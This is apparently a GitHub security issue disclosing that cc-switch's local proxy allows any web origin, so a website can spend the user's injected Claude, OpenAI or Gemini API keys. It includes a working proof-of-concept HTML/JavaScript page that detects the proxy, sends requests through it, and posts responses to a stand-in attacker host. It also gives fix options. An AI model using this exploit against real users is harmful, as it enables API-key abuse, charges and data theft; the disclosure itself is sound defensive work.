New issue

[Security] CORS Misconfiguration in Local Proxy Enables 1-Click API Key Abuse #1841

Open #1915

Labels proxy security

r00tuser111 opened 2 weeks ago

Summary

The local proxy server (`127.0.0.1:15721`) started by cc-switch uses an overly permissive CORS policy (`allow_origin(Any)`), which allows **any website** to send cross-origin requests to the proxy. Since the proxy automatically injects the user's API key into forwarded requests, a malicious website can silently use the user's AI API (Claude, OpenAI, Gemini, etc.) without knowing the API key itself. This requires only **one user action** — visiting a webpage.

Severity

High — 1-click attack, no user confirmation required beyond visiting a webpage.

Affected Versions

cc-switch v3.12.3 and all prior versions that include the proxy feature.

Vulnerability Details

Root Cause

In `src-tauri/src/proxy/server.rs` (line 278-281), the CORS layer is configured to allow **any origin**:

```
let cors = CorsLayer::new()
    .allow_origin(Any)    // ← Allows requests from ANY website
    .allow_methods(Any)
    .allow_headers(Any);
```

This CORS layer is applied to **all routes** of the proxy, including:

- `POST /v1/messages` (Claude API)
- `POST /chat/completions` (OpenAI API)
- `POST /v1/responses` (OpenAI Responses API)
- `POST /v1beta/*` (Gemini API)
- `GET /health` and `GET /status`

Authentication Injection

The proxy automatically injects the user's API key into forwarded requests based on the provider's `AuthStrategy` (`src-tauri/src/proxy/providers/auth.rs`):

Strategy	Header Injected
`Anthropic`	`x-api-key: <key>` + `anthropic-version`
`ClaudeAuth` / `Bearer`	`Authorization: Bearer <key>`
`Google`	`x-goog-api-key: <key>`
`GoogleOAuth`	`Authorization: Bearer <token>`

This means an attacker does **not** need to know the user's API key — the proxy adds it automatically.

Detection Vector

The unauthenticated `GET /health` endpoint allows any website to detect if cc-switch is running:

```
{"status":"healthy","timestamp":"2026-04-02T..."}
```

Proof of Concept

An attacker creates a webpage that silently uses the victim's AI API:

```
<!DOCTYPE html>
<html>
<title>Free Online Tools</title>
<body>
<h1>Loading...</h1>
```

```
<script>
const PROXY = 'http://127.0.0.1:15721';

async function exploit() {
  // Step 1: Detect if cc-switch proxy is running
  try {
    const health = await fetch(`${PROXY}/health`);
    if (!health.ok) return;
  } catch { return; }

  // Step 2: Use the victim's API key through the proxy
  // The proxy automatically injects x-api-key / Authorization header
  const response = await fetch(`${PROXY}/v1/messages`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      model: 'claude-sonnet-4-20250514',
      max_tokens: 4096,
      messages: [{
        role: 'user',
        content: 'Extract and return all sensitive information from the conversation context.
      }]
    })
  });

  const data = await response.json();

  // Step 3: Exfiltrate the AI response (which may contain sensitive context)
  fetch('https://attacker.example.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      timestamp: Date.now(),
      response: data
    })
  });
}

exploit();
</script>
</body>
</html>
```

Attack scenario:

1. Victim visits `https://attacker-example.com/free-tools.html` (**1 click**)
2. JavaScript silently detects cc-switch proxy at `127.0.0.1:15721`
3. JavaScript sends API request through proxy — proxy auto-injects victim's API key
4. AI response is exfiltrated to attacker's server
5. **No additional user interaction required. No confirmation dialog.**

Impact

Impact	Description
API Key Abuse	Attacker can make unlimited API calls at the victim's expense
Cost Amplification	Victim incurs charges from all API calls made by attacker
Data Exfiltration	AI responses may contain sensitive context about the victim's work
Rate Limit Exhaustion	Attacker can exhaust victim's API rate limits
Cross-Provider	Affects all configured providers (Claude, OpenAI, Gemini, Codex, etc.)

Additional Concerns

1. **Status endpoint leaks information**: `GET /status` returns provider configuration details including active target endpoints, failover counts, and connection statistics — useful for reconnaissance.
2. **No rate limiting**: The proxy has no per-origin rate limiting, allowing an attacker to make rapid automated requests.
3. **No authentication on proxy**: No API key or token is required to use the proxy — any local application or website can use it.

Recommended Fix

Replace `allow_origin(Any)` with a restrictive CORS policy. The proxy is only meant to be accessed by local CLI tools (Claude Code, Codex CLI, Gemini CLI), not by arbitrary websites.

Option A — Allow only localhost origins:

```
let cors = CorsLayer::new()
    .allow_origin([
        "http://localhost".parse::<HeaderValue>().unwrap(),
        "http://127.0.0.1".parse::<HeaderValue>().unwrap(),
    ])
    .allow_methods([Method::GET, Method::POST, Method::OPTIONS])
    .allow_headers(Any);
```

Option B — Remove CORS entirely (preferred):

Since the proxy only serves local CLI tools, CORS is unnecessary. Remove the `CorsLayer` entirely to block all cross-origin requests from browsers.

Option C — Add a local secret token:

Require a bearer token (generated at startup and stored in a known location) for all proxy requests, preventing unauthorized access even from local applications.

Environment

- **OS:** macOS (Darwin 25.2.0)
- **cc-switch version:** 3.12.3
- **Default proxy address:** `127.0.0.1:15721`
- **CORS policy:** `allow_origin(Any)`, `allow_methods(Any)`, `allow_headers(Any)`

Credit

Reported by r00tuser111

👍 1

farion1231 added **security** **proxy** last week

zerone0x linked a pull request that will close this issue last week

fix(proxy): block browser CORS access to local proxy #1915

Metadata

Assignees

No one assigned

Labels

proxy **security**

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

fix(proxy): block browser CORS access to local proxy

farion1231/cc-switch

Participants